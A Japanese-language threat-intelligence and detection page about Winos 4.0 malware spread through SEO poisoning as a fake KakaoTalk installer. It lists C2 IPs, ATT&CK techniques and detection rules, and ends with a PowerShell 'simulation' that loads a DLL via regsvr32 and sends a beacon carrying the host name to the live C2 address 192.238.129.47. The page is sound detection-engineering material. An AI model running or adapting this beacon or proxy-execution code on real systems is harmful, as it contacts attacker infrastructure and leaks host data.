KakaoTalkインストーラーに偽装するWinos 4.0マルウェア
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
攻撃者はSEOポイズニングを悪用して偽のKakaoTalkインストーラーを検索結果の上位に押し上げました。このインストーラーは無効なコード署名証明書を持ち、Verifier.exeおよびAutoRecoverDat.dllを含む悪意のあるファイルを展開するNSISパッケージを埋め込んでいました。実行されると、マルウェアはDLL登録、スケジュールされたタスク、およびミューテックスを介して持続性を達成し、2つの別々のC2サーバーに接続しました。その能力には、スクリーンキャプチャ、システムプロファイリング、追加ペイロードのインメモリ実行が含まれていました。
調査
アーンラボセキュリティインテリジェンスセンターは、3月9日にキャンペーンを開始して以降、5,000台以上のPCが侵害されたと報告しました。分析では、暗号化されたNSISペイロードが復号してVerifier.exeとAutoRecoverDat.dllをドロップし、ミューテックスを作成し、GPUCache.xmlファイルからシェルコードをロードすることが示されました。シェルコードのブランチに応じて、マルウェアは192.238.129.47または119.28.70.225のC2インフラストラクチャに接触しました。持続性はDLL登録とスケジュールされたタスクによって維持され、Verifier.exeまたは rundll32 と共に悪意のあるDLLを起動します。
緩和策
組織は、キャンペーンに関連する悪意のあるドメインとダウンロードURLをブロックする必要があります。厳格なコード署名の検証を行い、無効な証明書を持つバイナリの実行を防ぎます。アプリケーションの許可リスト化を使用して、不明なNSISインストーラーの実行をブロックします。セキュリティチームは、報告書で概説されている特定のミューテックス、疑わしいスケジュールされたタスク、レジストリの変更を監視する必要があります。
対応策
検出チームは、ミューテックス 77825d8f-46d1-42d0-b298-83068bf9e31d の作成および MicrosoftWindowsAppID の下のスケジュールされたタスクについてアラートを出すべきです。ユーザープロファイルディレクトリ内の Verifier.exe と AutoRecoverDat.dll を狩り、既知のC2 IPとポートへのアウトバウンドトラフィックをブロックします。影響を受けたシステムの法医学的レビューを実施し、すべての持続性のアーティファクトと悪意のあるコンポーネントを完全に削除します。
“graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access[“<b>Technique</b> – T1593.002 Search Engine Poisoning<br/><b>Description</b>: Manipulate SEO to rank malicious sites in search results.”] class tech_initial_access technique tech_user_exec[“<b>Technique</b> – T1204 User Execution<br/><b>Description</b>: Victim runs malicious installer believing it to be legitimate.”] class tech_user_exec technique tech_obfuscation[“<b>Technique</b> – T1027 Obfuscated Files or Information<br/><b>Description</b>: Payloads encrypted in NSIS installer and decrypted at runtime.”] class tech_obfuscation technique tech_powershell[“<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Executes PowerShell commands via cmd to modify Defender settings.”] class tech_powershell technique tech_exclusions[“<b>Technique</b> – T1564.012 File/Path Exclusions<br/><b>Description</b>: Adds exclusion entries for C:, D:, E:, F: in Windows Defender.”] class tech_exclusions technique tech_rundll32[“<b>Technique</b> – T1218.011 Rundll32 Proxy Execution<br/><b>Description</b>: Uses rundll32.exe to load malicious AutoRecoverDat.dll.”] class tech_rundll32 technique tech_appcert[“<b>Technique</b> – T1546.009 AppCert DLLs<br/><b>Description</b>: Registers DLL for execution when AppCert loads, enabling persistence and escalation.”] class tech_appcert technique tech_schtask[“<b>Technique</b> – T1053 Scheduled Task/Job<br/><b>Description</b>: Creates tasks to launch Verifier.exe and rundll32 at system startup.”] class tech_schtask technique tech_c2_nonstd[“<b>Technique</b> – T1571 Non-Standard Port<br/><b>Description</b>: Communicates with C2 servers on ports 18852 and 443.”] class tech_c2_nonstd technique tech_port_knocking[“<b>Technique</b> – T1205.001 Port Knocking<br/><b>Description</b>: Uses port knocking to hide C2 traffic.”] class tech_port_knocking technique tech_dynamic_res[“<b>Technique</b> – T1568 Dynamic Resolution<br/><b>Description</b>: Resolves C2 addresses at runtime, adapts to presence of Chinese AV products.”] class tech_dynamic_res technique tech_indicator_removal[“<b>Technique</b> – T1027.005 Indicator Removal from Tools<br/><b>Description</b>: Checks for specific AV products and alters persistence accordingly.”] class tech_indicator_removal technique tech_software_disc[“<b>Technique</b> – T1518.001 Software Discovery<br/><b>Description</b>: Gathers installed software list for reconnaissance.”] class tech_software_disc technique tech_path_intercept[“<b>Technique</b> – T1574.009 Path Interception by Unquoted Path<br/><b>Description</b>: Exploits unquoted service paths to load malicious DLL.”] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer[“<b>File</b>: Malicious NSIS Installer (KakaoTalk_Setup_patched.RAR)”] class file_installer malware file_verifier[“<b>File</b>: Verifier.exe”] class file_verifier malware file_dll[“<b>File</b>: AutoRecoverDat.dll”] class file_dll malware %% Nodes – Commands / Processes proc_powershell[“<b>Process</b>: powershell.exe (adds Defender exclusions)”] class proc_powershell process proc_rundll32[“<b>Process</b>: rundll32.exe (loads AutoRecoverDat.dll)”] class proc_rundll32 process proc_schtask[“<b>Process</b>: schtasks.exe (creates scheduled tasks)”] class proc_schtask process %% Connections u2013 Attack Flow tech_initial_access –>|leads_to| tech_user_exec tech_user_exec –>|executes| file_installer file_installer –>|contains| tech_obfuscation tech_obfuscation –>|decrypts| file_verifier tech_obfuscation –>|decrypts| file_dll file_installer –>|calls| tech_powershell tech_powershell –>|executes| proc_powershell proc_powershell –>|adds| tech_exclusions file_installer –>|uses| tech_rundll32 tech_rundll32 –>|launches| proc_rundll32 proc_rundll32 –>|loads| file_dll tech_appcert –>|registers| file_dll tech_appcert –>|enables| tech_schtask tech_schtask –>|creates| proc_schtask proc_schtask –>|schedules| file_verifier proc_schtask –>|schedules| proc_rundll32 tech_appcert –>|provides| tech_path_intercept tech_path_intercept –>|facilitates| tech_appcert tech_c2_nonstd –>|used_by| file_verifier tech_c2_nonstd –>|used_by| file_dll file_verifier –>|communicates via| tech_port_knocking file_dll –>|communicates via| tech_port_knocking tech_port_knocking –>|relies_on| tech_dynamic_res tech_dynamic_res –>|detects| tech_indicator_removal tech_indicator_removal –>|modifies| tech_appcert file_installer –>|collects| tech_software_disc “
攻撃フロー
検出
Rundll32 DLL 疑わしいパス実行(process_creation経由)
表示
Windows Defender 設定の疑わしい変更(powershell経由)
表示
異常なトップレベルドメイン(TLD)DNSリクエストによる疑わしいコマンド&コントロール(dns経由)
表示
識別子(HashMd5)を使って検出:KakaoTalkインストーラーとして偽装されたWinos4.0マルウェア
表示
識別子(DestinationIP)を使って検出:KakaoTalkインストーラーとして偽装されたWinos4.0マルウェア
表示
識別子(SourceIP)を使って検出:KakaoTalkインストーラーとして偽装されたWinos4.0マルウェア
表示
Winos4.0のマルウェア活動の検出 [Windowsプロセス作成]
表示
GPUCacheファイルを介したWinos4.0のC2通信 [Windowsネットワーク接続]
表示
シミュレーション実行
前提条件: テレメトリーおよびベースラインのプレフライトチェックが合格している必要があります。
理論根拠: このセクションでは、検出ルールをトリガーするよう設計された敵の技術(TTP)の正確な実行詳細を記載しています。コマンドと説明は識別されたTTPに直接関係し、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。
-
攻撃ストーリー&コマンド:
攻撃者はすでに悪意のあるDLLを
%LOCALAPPDATA%MicrosoftWindowsGPUCacheディレクトリ内に配置し、正規のキャッシュファイルとして偽装しています。ペイロードを実行するために、攻撃者は Regsvr32 (T1218.012)を利用してDLLを読み込み、ロードされたコンポーネントを使用してTCPポート18852(またはHTTPSポート443)を介してハードコーディングされたサーバー192.238.129.47へC2通信を開始します。このネットワークフローは、Sigmaルールが監視する観察可能な指標です。- Regsvr32で悪意のあるDLLをロード
regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" - C2ビーコンを開始 (悪意のあるDLLがC2サーバーへTCPソケットを開きます)。テスト用に、同じIP/ポートに接続する単純なPowerShell TCPクライアントでビーコンをエミュレートします。
$c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852) $stream = $c2.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME") $stream.Write($payload,0,$payload.Length) $stream.Close() $c2.Close()
- Regsvr32で悪意のあるDLLをロード
-
回帰テストスクリプト: 以下のスクリプトは、上記のステップをエンドツーエンドで再現し、Sigmaルールが期待する正確なネットワークテレメトリーを生成します。
# ------------------------------------------------- # Winos4.0 C2 シミュレーション - Sigmaルールをトリガー # ------------------------------------------------- # 1. Regsvr32で悪意のある(シミュレーションされた)DLLをロード $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Write-Host "[*] Regsvr32で悪意のあるDLLを登録中..." regsvr32 /s $dllPath } else { Write-Error "[-] シミュレーションされたDLLが $dllPath に見つかりません - 中止します。" exit 1 } # 2. ハードコーディングされたIP/ポートへのC2ビーコンをエミュレート $c2IP = '192.238.129.47' $c2Port = 18852 Write-Host "[*] $c2IP:$c2Port へのTCP接続を確立中..." try { $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port) $stream = $client.GetStream() $msg = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)" $bytes = [System.Text.Encoding]::ASCII.GetBytes($msg) $stream.Write($bytes,0,$bytes.Length) Write-Host "[+] ビーコンを送信しました。" } catch { Write-Error "[-] 接続失敗: $_" } finally { if ($stream) { $stream.Close() } if ($client) { $client.Close() } } # ------------------------------------------------- -
クリーンアップコマンド: 一時的なアーティファクトを削除し、残存する接続を閉じます。
# テストアーティファクトである可能性があるシミュレーションされた悪意のあるDLLを削除 $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Remove-Item -Path $dllPath -Force Write-Host "[*] シミュレーションされたDLLをクリーンアップしました。" } # クライアント側のみであるため、残存するTCPリスナーは残らないはずです Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object { # アクションは必要ありません。接続はスクリプト内で閉じられます。 }